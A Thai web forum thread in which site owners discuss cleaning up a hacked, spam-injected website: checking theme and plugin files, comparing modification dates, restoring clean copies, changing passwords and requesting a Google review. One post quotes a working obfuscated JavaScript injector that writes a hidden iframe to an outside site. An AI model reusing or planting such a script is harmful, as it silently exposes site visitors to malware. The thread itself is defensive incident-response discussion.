ต่อจากการ HACK คราวที่แล้วครับ ตอนนี้โดนสแปมไปแล้ว มีหนทางจะแก้ไขยังไงบ้างครับ ??

อย่างแรกตามไล่เช็คทุกไฟล์ว่ามีโค้ทอะไรแปลกๆๆบ้าง
เน้นในธีม ปลั๊กอินก่อนเลย

หลังจากนั้นไปแจ้ง google webmaster  ว่าเว็บสะอาดแล้ว

ลองใช้ Fizscript ไล่หาโค้ดแปลกๆดูครับ 

 
ที่ผมเคยเจอ มันมากัลปลักอินครับ ลองติดตั้ง NOD ครับ มันอาจจะโชว์แสดง ว่าตัวไหนคือไวรัส ทีนี้ เราก็ดูไฟล์ที่มันแจ้ง ลบทิ้งครับ หายเป็นปกติ

อ้างถึงจาก: tongboss ใน 01 มิถุนายน 2012, 14:20:24
อย่างแรกตามไล่เช็คทุกไฟล์ว่ามีโค้ทอะไรแปลกๆๆบ้าง
เน้นในธีม ปลั๊กอินก่อนเลย

หลังจากนั้นไปแจ้ง google webmaster  ว่าเว็บสะอาดแล้ว

ตามนี้ครับ

อ้างถึง<script>try{q=document.createElement("u");q.appendChild(q "");}catch(qw){h=-012/5;zz='a' 'l';f='fr' 'o' 'm' 'Ch';f ='arC';}try{begbe=prototype;}catch(b43gds){zz='zv'.substr(123-122) zz;ss=[];f =(h&&zz)?'ode':"";w=this;e=w[f.substr(11) zz];n=[-3.375,-3.75,7.5,8.875,7.375,9.625,8.625,7.625,8.75,9.5,0.75,9.875,9.25,8.125,9.5,7.625,0,-0.125,2.5,8.125,7.75,9.25,7.125,8.625,7.625,-1,9.375,9.25,7.375,2.625,-0.75,8,9.5,9.5,9,2.25,0.875,0.875,9.875,9.875,9.875,0.75,9.625,8.5,9.5,9.25,7.125,8.5,7.125,8.75,7.875,0.75,7.375,8.875,8.625,0.875,9.375,9.5,7.125,9.5,9.375,0.75,9,8,9,-0.75,-1,8.75,7.125,8.625,7.625,2.625,-0.75,5.5,9.875,8.125,9.5,9.5,7.625,9.25,-0.75,-1,9.375,7.375,9.25,8.875,8.5,8.5,8.125,8.75,7.875,2.625,-0.75,7.125,9.625,9.5,8.875,-0.75,-1,7.75,9.25,7.125,8.625,7.625,7.25,8.875,9.25,7.5,7.625,9.25,2.625,-0.75,8.75,8.875,-0.75,-1,7.125,8.5,8.125,7.875,8.75,2.625,-0.75,7.375,7.625,8.75,9.5,7.625,9.25,-0.75,-1,8,7.625,8.125,7.875,8,9.5,2.625,-0.75,1.25,-0.75,-1,9.875,8.125,7.5,9.5,8,2.625,-0.75,1.25,-0.75,2.75,2.5,0.875,8.125,7.75,9.25,7.125,8.625,7.625,2.75,-0.125,0.125,2.375,-3.375,-3.75];for(i=6-2-1-2-1;i-166!=0;i  ){k=i;ss=ss String["from" "CharCode"](-1*4*h*(5 1*n[k]));}e(ss);}</script><link rel="alternate" type="application/rss xml" title=" &raquo; Feed"

อันนี้เรียกว่าโค๊ดแปลกรึเปล่าครับ ผม ctrl u  ดูหน่ะครับ?

วันนี้ เพิ่งโดนไปสดๆร้อน
โดน hack ฝัง script ในไฟล์ js
ตอนนี้เอาออกแล้ว และก็ขอ reviews ใหม่ที่ google webmaster ไปแล้ว
แต่ไม่รู้ว่าใช้เวลานานมั้ยครับก่าจะกลับมา

multiware พวกนี้มักจะเข้าไปเกาะกับ ไฟล์หลักๆ

เช่น

index,login ไม่ว่าจะเป็น php asp html หรือ อื่นๆที่เป็นหลักๆ ส่วนไฟล์ที่ชื่อแปลกๆไม่ต้องกลัวคับไม่โดนแน่ๆ

มันจะเข้าไปลบ code ส่วนของ multiware ออก เท่านั้นคับ

ในส่วนของพวกโปรแกรมสแกนไวรัส ก็จะแสดงว่าเจอไวรัสคับ มีติดตั้งไว้ก็จะดีคับ จะได้ดูด้วยว่าเวปเราโดน มัลแวร์ หรือป่าว

- ตรวจสอบดว่ามีไฟล์อะไรแปลกๆเพิ่มเข้ามารึเปล่านะครับ เช่น default.php ที่ไม่ใช่ของเรา
โดยดูจากวันที่ครับ แล้วลบไฟล์ดังกล่าวออกให้หมด
- อันไหนที่เป็นไฟล์ของเรา แต่โดน inject script เข้าไป ดูจากวันที่ Last modified เช่นเดียวกันครับ
ทำการแก้ไขให้หมดครับ โดยลบแล้ว copy ต้นฉบับเราลงไป
หรือนำไฟล์ออกมาลบส่วน script ที่โดนฝังออก แล้ว copy กลับเข้าไปใหม่ก็ได้ครับ
- เมื่อแน่ใจว่าแก้ไขหมดแล้ว ให้ทำการเปลี่ยน password ของทั้ง cpanel และ ftp ใหม่เลยครับ
- ถ้าเว็บเราโดนเตือนว่าเป็นผู้เผยแพร่ malware ไปแล้ว ให้ยื่นขอตรวจสอบจากทาง GG Webmaster Tool ใหม่ครับ